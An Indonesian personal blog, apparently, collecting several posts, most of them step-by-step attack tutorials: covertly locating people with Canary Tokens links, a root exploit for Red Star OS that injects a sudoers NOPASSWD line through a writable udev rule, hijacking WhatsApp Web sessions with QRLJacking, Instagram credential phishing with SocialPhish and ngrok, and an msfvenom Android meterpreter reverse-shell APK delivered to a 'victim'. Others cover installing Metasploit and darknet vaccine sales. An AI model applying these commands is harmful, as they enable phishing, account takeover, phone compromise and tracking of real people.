Dmitry Warehouse

Apa yang harus dilakukan ketika akun kita kebobolan ?

2021-02-11T14:55:00.006+07:00

Tahun 2021 ini adalah tahun di mana hampir semua orang dibelahan dunia ini mengenal yang namanya internet. Dan sudah pasti khususnya generasi muda sangat aktif dalam berkomunikasi jarak jauh menggunakan Internet sebagai sarana untuk tetap terhubung, layanan sosial media seperti facebook, instagram dan twitter sangat marak digunakan oleh masyarakat dunia.

Berdasarkan pengalaman saya dalam menekuni IT, banyak orang yang bertanya kepada saya melontarkan pertanyaan yang sebenarnya kurang tepat ditanyakan. Ini semata - mata bukanlah pertanyaan yang dilandasi keingintahuan, namun pertanyaan yang mirip seperti melakukan sihir seperti film Harry Potter. Yaitu pertanyaan yang berbunyi "bagaimana cara membobol facebook orang ?", atau seperti "bagaimana mendapatkan akun kita kembali yang sudah dibobol oleh orang". Sungguh pertanyaan seperti ini sangat tidak pantas ditanyakan karena untuk alasan yang logis, Facebook adalah sebuah perusahaan besar yang pastinya mempekerjakan karyawan - karyawan terbaik dalam bidangnya untuk menjaga stabilitas dan keamanan dengan budget yang bukan main.

Lantas kenapa akun anda dapat kebobolan ?. Baik, sebenarnya kasus kebobolan akun anda adalah kesalahan anda sendiri, yang berarti itu adalah kesalahan diluar tanggung jawab pihak perusahaan. Bisa jadi akun anda diambil alih karena anda tidak menjaga keamanan akun anda dengan benar, password anda sangat gampang ditebak, ataupun anda mendaftarkan password facebook anda sama dengan akun anda yang lainnya sehingga apabila terjadi kebobolan pada satu akun, peretas bisa mengambil akun facebook anda juga karena memiliki password sama.

Jadi apakah akun yang sudah terlanjur kebobolan bisa di ambil kembali ?, jawabannya adalah mungkin bisa jika memang anda pada saat mendaftar melakukan SOP yang benar dan kontak kredensial yang tertaut pada akun anda aktif, sehingga saat anda ingin menyetel ulang kata sandi facebook benar - benar bisa mengirimkan laman token untuk membenahi akun anda yang sempat hilang.

Dari pada menanyakan bagaimana caranya mengembalikan akun yang dibobol atau membobol akun orang, lebih baik kita belajar memahami konsep apa itu privasi dan keamanan dalam bersosial media di internet. Karena dengan mengetahui dasar, setidaknya sedikit saja bisa membantu kita keluar dari keluhan - keluhan pertanyaan yang tidak seharusnya ditanyakan. Mungkin anda sering meminta bantuan kepada para peretas di dunia maya atau orang yang anda kenal, namun percayalah solusi yang mereka berikan adalah sama dengan SOP yang perusahaan media sosial berikan kepada pemilik akun yaitu halaman reset kata sandi. Netizen Indonesia banyak yang ngelantur dan sesekali dari pada kita bertanya dan minta tolong sana sini, kita harus benahi cara berfikir kita dan melakukan semuanya sendiri.

gambar : https://unsplash.com/photos/iar-afB0QQw

Melacak IP dan lokasi seseorang dengan Canary Tokens

2021-02-02T14:46:00.004+07:00

Kadang di dunia maya kita sering menemui orang - orang yang melakukan abuse yang merugikan. Baik itu berupa politik sara, pelecehan, pencemaran nama baik ataupun modus penipuan yang membuat kita risih. Teringin sekali hati ingin mengetahui lokasi mereka di mana, namun kita tidak punya keahlian mendalam akan hal itu. Tenang saja, itu sebenarnya sangat mudah dan gampang.

Canary Tokens adalah sebuah situs yang menyediakan token online untuk anda gunakan untuk melacak seseorang. Cara kerjanya sangat sederhana, anda tinggal memasukkan email anda dan mendapatkan token permanen milik anda sendiri. Lalu mengirimkan sebuah link, dokumen ataupun domain url shortener kepada target yang ingin anda lacak setelah itu panel langsung mengeluarkan lokasi ISP di google map. Walaupun lokasi ini tidak akurat, setidaknya alamat IP yang anda dapatkan dari target anda bisa anda gunakan untuk tuntutan hukum atas abuse yang dia lakukan.

Baik pertama - tama anda harus mengunjungi website Canary tokens.

Pada kolom anda tinggal mengisi data dan memilih metode yang ingin anda gunakan dalam melacak seseorang. Dalam kasus ini saya memasukkan email, dan menggunakan opsi url palsu.

Setelah itu anda tinggal tekan create my token maka anda akan dibawa pada panel seperti gambar di bawah.

Selanjutnya anda tinggal menyalin text yang ada di dalam text box dan mengirimkannya kepada target yang ingin anda lacak. Dalam contoh, saya akan membuka sendiri di komputer ssaya. Lalu selanjutnya tekan manage my token.

Setelah menekan manage my token anda akan di bawa ke panel seperti gambar di bawah. Setelah itu akan ada notif bahwa token sudah ter - trigger sekali, maka anda hanya perlu menekan history. Yang saya lingkari biru adalah url yang harus anda berikan ke target anda. Terserah anda mau menyebarkannya melewati apa, bisa itu whatsapp, facebook dan lain sebagainya.

Lalu akan tampak lokasi yang sudah terlacak dari link yang kita kirimkan tadi seperti gambar di bawah. Anda juga akan menerima notifikasi email jika ada yang menekan link anda.

Anda juga bisa kreasikan canary token ini dengan berbagai opsi, langkahnya hampir sama seperti langkah di atas.

Mudah bukan ?, begitulah sekiranya cara mengekspos lokasi seseorang dengan link. Semoga tutorial yang singkat ini bermanfaat dan bisa dipergunakan dengan baik. Terima Kasih.

Mendapatkan akses root di Red Star OS 3.0

2021-01-30T09:34:00.009+07:00

gambar : Pinterest besthqwallpapers.com

The Hermit Kingdom, begitulah julukan media barat untuk negara satu ini. Korea Utara terkenal akan disiplin yang keras akan ketaatan ideologi, pemerintahan rezim komunisme yang sangat ketat membuat negara ini sangat tertutup untuk di lihat dari luar. Seperti yang saya kutip di artikel kebanyakan, Red Star OS atau dalam bahasa indonesianya Bintang Merah adalah OS resmi milik rakyat Korut. Di sana akses internet sangat dibatasi, hanya orang - orang pemerintahan yang bisa mengaksesnya dikarenakan rezim komunis Kim Jong Un berpendapat bahwa internet bisa mencuci otak rakyat mereka berpaling dari ideologi.

Sebagai gantinya Korea Utara menciptakan Intranet untuk rakyatnya, walaupun itu juga di monitor ketat oleh sang supreme leader. Hidup di negara yang serba tidak boleh bahkan berpendapat saja bisa dikenakan pidana adalah hal yang sulit, kita beruntung karena tidak hidup di negara yang seperti itu. Negara kita yang masih memiliki toleransi akan dosa - dosa kecil adalah sebuah anugrah dan nikmat yang luar biasa yang diberikan oleh sang maha kuasa kepada kita Negara Kesatuan Republik Indonesia.

Red Star OS memiliki dua varian yaitu Desktop dan Server, yang di mana keduanya berbasiskan Fedora Linux dengan lokalisasi Korea mestinya. Keduanya didesain untuk menjadi sangat terbatas. Menurut sumber buku yang saya baca, Advanced Penetration Testing dari penerbit Wiley dituliskan IP Space Korut dikelola oleh Star Joint Venture Co LTD di Ryugyong-dong Distrik Potong-gang dan diupstream ke backbone CNCGroup di China.

Di dalam garis merah adalah Distrik potonggang, ryuyong-dong, Pyongyang, Korea Utara. Citra Satelit Google Map.

Korea Utara diketahui mengalokasikan ruang IP dengan subnet /22 yaitu : 175.45.176.0/22 atau 175.45.176.0-175.45.179.256. Ini memiliki potensi sekitar 1000 alamat IP, yang artinya tidak sembarangan orang bisa gunakan. Menggunakan Masscan, sang penulis melakukan knock up scan port dalam waktu sekitar satu jam.

Penulis juga mengatakan bahwa IP Server untuk Universitas Kim Il Sung (http://www.ryongnamsan.edu.kp/univ) ada di 175.45.176.79, tetapi tidak muncul dalam pemindaian ini meskipun sudah aktif. Dalam scan tersebut penulis mengatakan ada server VNC yang bisa diserang di 175.45.178.154.

Dan versi proxy squid yang tidak aman di IP 175.45.178.154

Juga port RPC terbuka dan berbagai macam daemon SSH dengan authentikasi kata sandi.

Untuk mengetahui lebih lanjut eksperimen si penulis, anda bisa membeli bukunya di Amazon. Baik langsung ke intinya saja saya akan mencoba menginstall Red Star OS dalam Virtualbox. Pertama anda harus mendapatkan ISO Red Star OS.

Saya anggap anda sudah membuat sebuah mesin virtual untuk uji coba Red Star OS. Beginilah sekiranya tampilan awal dari Red Star OS. Perlu diketahui akses root pada Linux di Korea Utara dihilangkan, karena barangkali akses root akan memungkinkan pengguna melakukan banyak hal yang nantinya bisa digunakan untuk membelot oleh masyarakat sipil Korut. Bahkan sayapun ragu warga sipil Korea Utara boleh memiliki PC.

Jujur saja saya tidak mengerti entah apa yang dikatakan oleh panduan instalasi ini. Saya akan mencoba menekan tombol biru.

Tampak ada peringatan berbahasa Korea, tekan saja pilihan bawaan yang berwarna biru. Ketika ditekan maka kita akan dibawa ke tampilan bergambar hard disk seperti di bawah.

Setelah itu kita akan di hadapkan ke tampilan ini, saya akan mencoba memasukkan nama saya di kolom pertama seperti di gambar.

Selanjutnya kita akan dihadapkan ke konfigurasi jaringan sepertinya. Saya coba kosongkan dan klik next dalam bahasa Korea.

Selanjutnya akan muncul seperti peta, mungkin saja ini adalah pengaturan zona waktu. Saya akan coba klik next.

Konfigurasi Waktu, saya akan klik next saja. Barangkali waktu bawaan yang dipakai oleh OS bawaan ini adalah waktu Pyongyang.

Pada tahap selanjutnya tekan saja tombol biru untuk next.

Instalasi akan berjalan seperti gambar di bawah, kita akan tunggu hingga selesai.

Setelah OS terinstall maka tampilannya nampak seperti di bawah. Bisa dibilang Red Star OS adalah tiruan dari MacOS, kita bisa tau bahwa Kim Jong Un adalah apple fan boy.

Saya akan coba mengganti masukan tulisannya dari bahasa Korea ke bahasa Inggris, karena jika tidak kita tidak akan bisa mengetik abjad latin. Baik dalam kasus kali ini saya akan coba klik ikon palu dan spanner yang dapat dilihat di desktop.

Ketika anda mengklik ikon komputer yang saya lingkari, maka anda akan dialihkan pada gambar seperti di bawah.

Lalu klik pada tab yang saya lingkari pada gambar di atas, maka anda akan dialihkan ke tampilan bahasa seperti gambar di bawah.

Scroll terus sampai ketemu bendera United Kingdom, lalu tekan Ctrl + Space dan ketika anda menekan bendera yang saya lingkari, bendera berubah menjadi bendera Inggris Raya. Anda tidak akan bisa mencari masukan bahasa Inggris USA karena seperti yang kita ketahui bahwa Republik Demokratik Korea sangat anti dengan Amerika Serikat dikarenakan konflik perang saudara di Semenanjung Korea yang akhirnya membuat Korea terpecah dua.

Oke, setelah selesai diganti maka langkah selanjutnya kita akan coba membuka terminal. Kembali ke menu awal, pada bagian atas nomer dua, pilih pilihan nomor satu. Seperti yang ditampilkan pada gambar.

Selanjutnya akan ada tampilan seperti file manager. Pilih saja Red Star > barisan ke tiga > barisan ke empat > barisan pertama > gambar terminal.

Lalu setelah terminal dibuka, saya mencoba menuliskan tulisan dengan abjad latin. Tampak pada gambar di bawah sebelum dan sesudah dirubah.

Baiklah, saya sudah mencoba mengakses root dengan sudo su dan su. Juga saya mencoba password default Linux kebanyakan yaitu toor tapi tetap saja akses saya ditolak oleh sistem. Korut memang menghilangkan akses root pada OS ini.

Saya akan coba mendapatkan akses root. Benar - benar meniru Mac OS. Saya akan coba perintah di bawah dulu untuk memastikan OS ini.

uname -a

Saya akan mencoba memeriksa versi release dari OS ini, dikarenakan berbasiskan Fedora maka saya akan ketik perintah di bawah.

cat /etc/redhat-release

Selanjutnya saya akan memeriksa shell apa saja yang terinstall pada Red Star OS ini. Ketik perintah :

chsh --list-shells

Tampak pada gambar di atas kita bisa mengetahui shell yang terinstall. Kita akan cari celah permission di folder - folder /udev. Ketik perintah di bawah.

find / -perm -o+w | grep /udev/

Tampak pada gambar di atas kita menemukan sebuah rules pada /etc/udev/rules.d/85-hplj10xx.rules yang tidak dilabeli permission denied. Kita akan coba membongkar isi rules tersebut dengan perintah di bawah.

cat /etc/udev/rules.d/85-hplj10xx.rules

Baik, setelah itu kita akan melakukan cat pada file sudoers.

cat /etc/sudoers

Selanjutnya backup konfigurasi yang kita dapatkan tadi.

cp /etc/udev/rules.d/85.hplj10xx.rules /tmp/udev85.bak

Menyuntikkan Script shell yang digunakan untuk exploit ke konfigurasi tadi.

echo ' RUN+="/bin/bash /tmp/getroot.sh" ' > /etc/udev/rules.d/85-hplj10xx.rules

Masukkan script exploit ke shell bash yang sudah kita suntikkan ke konfigurasi tadi.

cat <<EOF >/tmp/getroot.sh

echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers

mv /tmp/udev85.bak /etc/udev/rules.d/85-hplj10xx.rules

chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules

rm /tmp/getroot.sh

EOF

Baik kita akan coba menjalankan perintah untuk melihat file dan permissionnya.

ls -l /tmp/getroot.sh

Tampak Script yang kita buat tadi belum diberi permission, baik kita akan coba memberikan permissionnya.

chmod +x /tmp/getroot.sh

Baik, permission sudah diberikan ketika saya menjalankan perintah di bawah maka Script tadi akan berubah menjadi hijau dikarenakan sudah diberikan permission dan bisa dijalankan.

ls -l /tmp/getroot.sh

Baik, kita akan coba menyalakan ulang kembali Red Star OS dari awal.

reboot

Baik sesudah direstart kita akan dihadapkan kembali seperti tampilan semula.

Saya akan membuka terminal, sama seperti langkah di atas. Saya anggap anda sudah mengetahui cara membuka terminal pada OS ini.

Baik saya akan melihat daftar permission di folder /etc/passwd.

cat /etc/passwd

Tampak pada baris yang saya drag di atas, akses root sudah di dapatkan. Selanjutnya menjalankan perintah modifikasi group user.

sudo usermod -s /bin/bash root

Langkah terakhir, jalankan perintah di bawah. Dan boom, saya mendapatkan akses root.

whoami

sudo su

Baik, untuk benar - benar meyakinkan anda saya akan menjalankan perintah di bawah apakah ini benar - benar root betulan.

whoami

Baik, sekiranya begitulah caranya mendapatkan akses root di Red Star OS. Saya sangat berterima kasih sekali dengan tutorial yang saya dapatkan di youtube dan sumber buku yang saya dapatkan dari penerbit wiley. Sekian Terima kasih

Tutorial YT : part 1 & part 2

Menyadap Whatsapp dengan Kode QR Palsu

2021-01-28T14:16:00.009+07:00

Jauh sebelum masa di mana jaringan ponsel secepat sekarang, saat masa di mana kita masih menggunakan Ponsel dengan tombol, kita bertukar pesan teks dan suara menggunakan SMS dan Voice Call melalui jaringan GSM. Namun siapa sangka, internet berevolusi menyediakan layanan pertukaran informasi yang relatif lebih murah dan hemat biaya. Terlebih lagi bisa mengirim gambar, video dan lain sebagainya. SMS dan Voice Call pun mulai jarang digunakan dan orang beralih ke aplikasi pesan instan yang juga bisa disebut dengan aplikasi Chat.

Aplikasi Chat banyak digunakan oleh masyarakat pada tahun 2021 ini, contohnya seperti Telegram, Whatsapp, Messenger dari Facebook, Signal dan lain sebagainya. Whatsapp adalah aplikasi paling populer dari semua aplikasi yang saya sebutkan tadi, tidak hanya itu Whatsapp juga mempunyai fitur Whatsapp Web untuk pengguna agar bisa digunakan pada komputer. Whatsapp web menggunakan fitur Kode QR untuk mengauthentikasi pengguna ke sebuah komputer. Namun siapa sangka, kode QR Whatsapp ini bisa digunakan oleh Hacker untuk menyadap akses Whatsapp anda.

Ternyata, permintaan kode QR dari komputer yang digenerate oleh situs Whatsapp Web itu bisa dipalsukan dengan membuat request kode QR yang sama dari komputer lain. Pemalsuan kode QR ini adalah salah satu teknik social engineering dan juga bisa disebut dengan serangan phising. Kali ini, saya akan menggunakan tool QRLJacking yang bisa kita dapatkan di github. Seperti biasa, untuk host kode QR palsu ini kita membutuhkan port forwarder yang kali ini saya akan menggunakan ngrok.

Baik langsung saja seperti biasa, sebuah PC/Laptop dengan OS Linux.

Selanjutnya, aplikasi QRLJacker yang bisa anda dapatkan di github.

Untuk mengclone aplikasi tersebut ke Linux, ketik perintah di bawah pada terminal.

git clone https://github.com/OWASP/QRLJacking.git

Masuk ke direktori QRLJacker, ketik perintah di bawah.

cd QRLJacking/QRLJacker

Install persyaratan QRLJacker dengan perintah :

pip3 install -r requirements.txt

Berikutnya adalah menginstall geckodriver terbaru. Anda bisa mengunjungi situsnya untuk mengunduh.

Pada komputer saya, karena saya menggunakan Linux 64 bit maka saya mengunduh geckodriver versi Linux 64 bit. Selanjutnya adalah mengekstrak geckodriver tadi.

tar xzvf geckodriver-v0.29.0-linux64.tar.gz

Beri permission pada geckodriver.

chmod +x geckodriver

Selanjutnya pindahkan geckodriver ke direktori binary Linux.

sudo mv -f geckodriver /usr/local/share/geckodriver

Berikutnya adalah membuat link geckodriver.

sudo ln -s /usr/local/share/geckodriver /usr/local/share/geckodriver

sudo ln -s /usr/local/share/geckodriver /usr/bin/geckodriver

Baik konfigurasi sudah siap, selanjutnya adalah menjalankan port forward ke internet. Seperti tutorial kebanyakan, di sini kita akan menggunakan ngrok. Kita akan mengaktifkan port forward ngrok ke port 8080.

ngrok http 8080

Selanjutnya jalankan QrlJacker dengan python3.

Setelah aplikasi berhasil dijalankan, maka akan tampak seperti tampilan di bawah.

Setelah berhasil masuk ke Panel QrlJacker, selanjutnya kita tinggal menjalankannya saja. Gunakan modul grabber dengan perintah di bawah.

use grabber/whatsapp

Konfigurasikan Port dan IP dengan pengaturan berikut.

set port 8080

set host 0.0.0.0

Langkah terakhir kita hanya tinggal menjalankannya dengan perintah run.

run

Buka panel ngrok anda kembali, lalu copy link yang ada pada barisan forwarding dan kirimkan ke target yang ingin kalian retas. Pada kasus ini saya akan gunakan komputer windows saya sebagai komputer korban.

Ketika korban membuka alamat link QR Palsu tersebut maka akan tampak tampilan seperti gambar di bawah.

Dan ketika korban menscan kode QR palsu itu, maka tampilan terminal kode QR kita akan tampak seperti di bawah.

Untuk melihat sesi yang aktif kita dapat mengetik perintah di bawah.

sessions

Lalu langkah terakhir untuk melihat isi Chat Whatsapp korban kita hanya tinggal mengetik perintah di bawah.

sessions -i 0

Lalu kita akan di hadapkan pada isi percakapan Whatsap Web milik target yang kita jebak tadi.

Jika terjadi kendala dalam melakukan eksperimen, coba update mozilla anda ke versi terbaru. Karena minimal versi mozilla dalam melakukan ini adalah versi 69. Atau coba install mozilla baru pada Linux anda. Baik itu saja yang dapat saya sampaikan, lebih dan kurang mohon maaf dan terima kasih. Silahkan komentari jika ada kekurangan.

Meretas Akun Sosial Media dengan Phising dan Social Engineering

2021-01-27T15:27:00.002+07:00

Kali ini saya akan membahas teknik meretas akun sosial media seseorang dengan metode mengelabui korban dengan situs palsu (phising). Teknik ini disebut juga dengan Social Engineering yang tujuannya memang untuk memancing target masuk di dalam jebakan yang kita kirimkan. Sederhananya kita membuat sebuah web palsu di dalam Komputer kita yang meniru seperti web aslinya, kemudian menghost web tersebut ke jaringan WAN dan mengirimkannya kepada target.

Untuk melakukan metode ini membutuhkan PC yang sudah terinstall OS Linux, dalam eksperiment kali ini saya menggunakan Parrot Security OS. Anda bisa menggunakan OS Linux pilihan anda sendiri, terserah pada anda asalkan anda paham cara mengoperasikannya. Jadi langsung saja berikut langkah - langkahnya.

Pertama tentu saja sebuah OS Linux, di sini saya menginstallnya di dalam virtualbox.

Dalam eksperimen kali ini kita menggunakan tool phising yang lumayan populer dan banyak digunakan oleh para Hacker di github, yaitu SocialPhish.

Lakukan instalasi tool SocialPhish di Linux anda dengan perintah di bawah.

git clone https://github.com/xHak9x/SocialPhish.git

Masuk ke Direktori SocialPhish yang sudah di Clone.

cd SocialPhish/

Selanjutnya memberi akses permission pada script phising yang akan kita gunakan.

chmod +x socialphish.sh

Berikutnya kita harus mengunduh tool untuk membuat koneksi WAN agar Phising kita bisa di akses dari luar. Dalam eksperimen kali ini kita menggunakan tool ngrok. Ngrok adalah aplikasi yang berguna dalam membuat koneksi tunneling dari jaringan lokal ke WAN. Anda harus mengunjungi situs nya dulu melalui browser di ngrok.com. Lalu anda harus mendaftar sebuah akun di sana.

Baik, saya anggap anda sudah mendaftar akun ngrok. Berikut saya tampilkan ketika saya login di ngrok, kita akan di bawa ke panel manager tunneling milik kita.

Langkah selanjutnya adalah mengunduh ngrok untuk perangkat linux anda. Klik tombol Download for Linux.

Setelah selesai di Download selanjutnya saya memindahkan aplikasi dari folder Download ke folder SocialPhish.

mv ../Downloads/ngrok-stable-linux-amd64.zip ./

Selanjutnya ekstrak file zip ngrok.

unzip ngrok-stable-linux-amd64.zip

Hubungkan ngrok dengan token ngrok milik anda yang sudah anda registrasi sebelumnya. Jangan bagikan token ngrok anda pada siapapun, cukup anda saja yang tau, contoh :

./ngrok authtoken 7d3fw44arezQVftMSr8Pn_64q8SAPjGoCzxxxxxxxxx

Konfigurasi selesai, sekarang kita tinggal menjalankannya saja.

./socialphish

Sebagai contoh saya akan membuat web palsu instagram, saya akan masukkan nomor 1 di opsi seperti gambar di bawah.

Pada opsi selanjutnya kita akan diarahkan pada pilihan port forwarding yang kita gunakan, saya akan pilih nomor 2 karena menggunakan ngrok.

Setelah itu, sistem akan memberikan link phising tiruan instagram. Kita tinggal mengirimkan link itu ke korban yang ingin kita retas akun sosmednya.

Copy saja https://tinyurl.com/xxxxx yang tertera pada terminal atau https://xxxxxx.ngrok.io, anda bisa menyebarkannya ke orang lain. Sebagai contoh saya akan buka link itu di komputer milik saya sendiri, dan memasukkan sembarangan password.

Tampak dari tampilan phising memang benar - benar menampilkan halaman login instagram, dan ketika saya menekan tombol login lantas tidak terjadi apa - apa. Namun inilah yang akan timbul di Komputer Linux milik saya.

Tidak hanya password akun, pada bagian yang saya sensor juga terdapat IP, Benua, Negara, Kota bahkan Internet Service Provider milik saya juga tertera. Link phising ini tidak hanya mencuri password dan akun namun juga informasi di mana saya berada. Baik begitulah sekiranya, jika anda ingin menggunakan templat lain seperti facebook, paypal anda hanya tinggal mengganti nomor opsi pada pilihan terminal dan mengulanginya dari awal. Sekian Terima Kasih.

Menyadap Android dengan Metasploit

2021-01-26T15:33:00.005+07:00

Di zaman sekarang sudah pasti manusia tidak lepas dari yang namanya gadget. Gadget yang paling banyak dipakai berdasarkan survei kebanyakan adalah Ponsel Android. Kita melakukan semua aktifitas dengan ponsel kita, mulai dari memperbarui status Whatsapp, bertukar informasi, menonton video secara online bahkan melakukan transaksi belanjapun sekarang sudah dipermudah dengan Android. Namun, perlu diketahui selalu ada celah bagi para penjahat untuk melakukan sabotase pada perangkat anda. Kita harus berhati - hati dalam mengunduh aplikasi yang tidak terpercaya terutama yang bukan melalui playstore.

Kali ini saya akan tunjukkan bagaimana caranya peretas bisa masuk dalam sebuah ponsel anda, melakukan modifikasi, mencuri data bahkan mengendalikan secara penuh ponsel anda dari jauh dengan menggunakan media Virus Trojan Horse. Sebuah perangkat lunak yang digunakan peretas dalam melakukan kendali seperti ini disebut dengan RAT (Remote Access Trojan). Peretas mengelabui pengguna dengan iming - iming rekayasa sosial, meninggalkan backdoor di dalam sistem ponsel anda.

Baik Pertama yang anda perlukan adalah sebuah PC dengan OS Linux pastinya yang sudah terinstall Metasploit, di sini saya menggunakan distro Parrot Security OS untuk keperluan Red Teaming. Anda bisa mengunduhnya dan mencarinya di Google dengan atau tanpa Torrent.

Dan sebagai contoh ponsel korban, saya menggunakan Android Lollipop yang terinstall di Mesin Virtualbox. Seperti yang terlihat di gambar.

Anggaplah ponsel korban dan Komputer si Hacker berada pada jaringan wifi yang sama. Lalu berikutnya dengan komputer si Hacker kita harus mengetahui berapa IP Private miliknya. Buka terminal lalu ketik perintah di bawah untuk mengetahui informasi IP.

ifconfig

Lalu berikutnya Hacker akan melakukan pengintaian dalam Jaringan wifi tersebut. Dengan mengetik perintah di bawah pada terminal.

netdiscover

Dari gambar di atas kita mendapatkan beberapa informasi dari proses pengintaian tadi. Yaitu 192.168.56.1 adalah IP dari router yang bertindak sebagai wifi, 192.168.56.100 dan 192.168.56.103 adalah perangkat yang terkoneksi pada Jaringan serta 192.168.56.102 adalah IP komputer si Hacker. Namun kita tidak tau mana IP ponsel Android target pada Jaringan Wifi, kita akan melakukan teknik fingerprinting untuk mengidentifikasi perangkat apa yang memiliki IP - IP tersebut. Kali ini kita akan menggunan tool Nmap untuk itu. Kita akan mengambil contoh IP yang terakhir untuk di Scan.

sudo nmap -v -O 192.168.56.103

Dari hasil scan yang tertera di gambar dapat kita simpulkan bahwa IP 192.168.56.103 adalah sebuah ponsel Android. Mengingat Android menggunakan kernel Linux, serta port 5555 digunakan aplikasi adb untuk debugging android melalui IP. Baik kita sudah mengetahui perangkat yang ingin di serang, selanjutnya adalah meng-generate Virus Trojan Horse nya.

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 R > /var/www/html/virusandroid.apk

Perintah sudah dijalankan, virus sudah digenerate. Tampak dari perintah yang saya jalankan saya meletakkan generate virus pada web server milik komputer si Hacker yang menjalankan apache agar nantinya virus bisa di download oleh pemilik ponsel melalui web private si Hacker. Oke, selanjutnya karena kita sudah meletakkan virus pada folder web, kita harus memastikan layanan web kita berjalan.

sudo systemctl start apache2

sudo systemctl status apache2

Baik di sini web kita sudah berjalan secara mulus. Langkah selanjutnya adalah mengaktifkan panel untuk remote virus yang akan kita kirimkan, yaitu panel Metasploit.

msfconsole

Setelah masuk selanjutnya kita harus memasukkan konfigurasi payload pada metasploit. Konfigurasi exploit :

use exploit/multi/handler

untuk konfigurasi payload :

set payload android/meterpreter/reverse_tcp

untuk konfigurasi IP, kita masukkan IP Komputer si Hacker :

set lhost 192.168.56.102

untuk konfigurasi Port :

set lport 4444

untuk menampilkan opsi :

show options

Dari tampilan di atas kita sudah menyetting konfigurasi dengan perintah yang benar. Selanjutnya adalah mengirimkan link ke Ponsel target untuk mendapatkan reverse shell, http://192.168.56.102/virusandroid.apk di browser HP korban. Sehingga nantinya di HP korban akan terunduh virus yang sudah kita kirimkan tadi seperti gambar di bawah.

Lalu Korban akan menginstall virus yang sudah kita kirimkan tadi seperti gambar di bawah.

Setelah aplikasi terinstall dan dibuka oleh Korban, maka langkah selanjutnya adalah menjalankan perintah exploit di Metasploit komputer Hacker.

Tampak tulisan Meterpreter di gambar, itu menandakan kita sudah berhasil masuk pada Ponsel Target secara mulus. Selanjutnya kita hanya tinggal mengirimkan perintah - perintah untuk mengendalikan Ponsel Korban, pada contoh saya menjalankan perintah seperti gambar di bawah.

Saya menjalankan perintah ls untuk melihat direktori HP Target, serta dump_sms untuk melihat sms di HP Korban walaupun HP nya tidak memiliki SMS. Juga tampak sysinfo menerangkan sistem yang berhasil saya infiltrasi. Untuk perintah Metasploit lebih lanjut anda bisa menggunakan perintah help melihat daftar perintah, saya akan membahasnya di artikel berikutnya. Sekian bagaimana caranya menyadap ponsel dengan metasploit. Terima Kasih

Tutorial Install Metasploit Framework di Linux

2021-01-23T14:48:00.006+07:00

Metasploit adalah sebuah proyek keamanan komputer yang dapat menyediakan informasi tentang kerentanan keamanan dan membantu dalam pengujian penetrasi dan pengembangan signature IDS. Metasploit memiliki beberapa sub proyek. Metasploit merupakan software security yang sering digunakan untuk menguji coba tatanan suatu sistem dengan cara mengeksploitasi kelemahan software suatu sistem.

Di dalam Metasploit framework sudah terkandung alat - alat untuk keperluan Penetration Testing, mulai dari Exploit untuk keperluan Hack, Payload untuk disisipkan bersama exploit menciptakan koneksi shell dengan membuka port, Encoder untuk membypass deteksi antivirus, Auxiliary untuk keperluan seperti scan dan administrasi server serta manajemen Post Exploitation setelah Komputer berhasil di infiltrasi.

Baik langsung saja saya akan tunjukkan cara bagaimana menginstall Metasploit Framework di Linux, sebagai contoh saya menggunakan OS Debian 10 (Buster).

Langkah pertama, buka terminal pada Desktop Debian anda. Lalu update sistem dengan perintah :

apt update && apt upgrade

Setelah update dan upgrade selesai masukkan perintah :

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Tunggu hingga proses pengunduhan berjalan selesai hingga 100%, nanti kita akan kembali pada command terminal semula.

Setelah itu jalankan perintah update untuk mendapatkan notifikasi pembaruan dari metasploit dengan perintah :

msfupdate

Setelah itu jalankan Metasploit Framework dengan perintah :

msfconsole

Jika ada pertanyaan rekomendasi ketik yes, lalu setelah itu tekan enter.

Tampak framework memberikan token dan nama layanan seperti gambar di atas. Setelah itu anda akan di bawa kepanel metasploit, anda tinggal jalankan saja perintah metasploit yang akan saya bahas di postingan selanjutnya. Terima Kasih.

Jualan vaksin Corona di Darknet, para penjahat manfaatkan keuntungan Pandemi

2020-12-30T12:17:00.008+07:00

Foto oleh Scott Olson / Getty Images

Resiko bahwa vaksin akan dicuri dan dialihkan ke pasar gelap telah membuat industri farmasi waspada. Banyak pendiri situs gelap menawarkan vaksin virus Corona untuk dijual di Darknet beberapa hari setelah suntikan COVID-19 pertama kali disetujui di sejumlah negara seperti Amerika Serikat dan Inggris misalnya.

Penjahat memanfaatkan keuntungan dari permintaan global untuk vaksinasi, salah satu tawaran semacam itu ada di Deep Web, dilacak oleh perusahaan keamanan dunia maya, Check Point Software mencoba membayar $250 Dollar Amerika dengan penjual di situs gelap yang katanya paket akan dikirimkan dengan pengiriman siluman dalam bungkus ganda. Pengiriman dari AS melalui pos atau perusahaan jasa kurir terkemuka akan dikenakan biaya $20 Dollar Amerika, dengan tambahan $5 Dollar untuk pengiriman semalam.

Ada penjahat di Dark Net yang mengklaim minggu ini mereka memiliki vaksin yang dikembangkan oleh pabrikan China Sinopharm dan Sinovac untuk dijual seharga $750 Dollar untuk dua dosis, mereka menerima pembayaran dalam Bitcoin. Penawaran tersebut diilustrasikan dengan foto stok, yang tidak sesuai dengan kemasan normal. Ketika ditanya bagaimana vaksin harus disimpan, penjual menyarankan kotak pendingin atau lemari es.

Para ahli juga mengatakan bahwa banyak vaksin yang dijual di web gelap adalah palsu atau tidak akan pernah dikirim. Penawaran serupa juga diposting oleh penjual gelap yang lain selama berbulan - bulan. Tetapi apakah penjual sekarang telah mendapatkan akses ke produk asli atau tidak, iklan tersebut mencerminkan jenis oportunisme kriminal yang diperingatkan para ahli akan meningkat karena permintaan vaksinasi yang disetujui melebihi pasokan tahun depan.

Interpol dan Europol bulan ini memperingatkan kemungkinan "serangan" aktivitas kriminal yang terkait dengan vaksin COVID-19, mulai dari penipuan online dan kejahatan dunia maya hingga pencurian dan penujualan dosis palsu atau di bawah standar. Bahkan botol vaksin kosong, yang dapat diisi ulang secara ilegal, dapat menjadi sasaran, menurut Europol. Vaksin palsu adalah ancaman kesehatan masyarakat yang signifikan, "paling tidak efektif, dan paling buruk beracun" katanya.

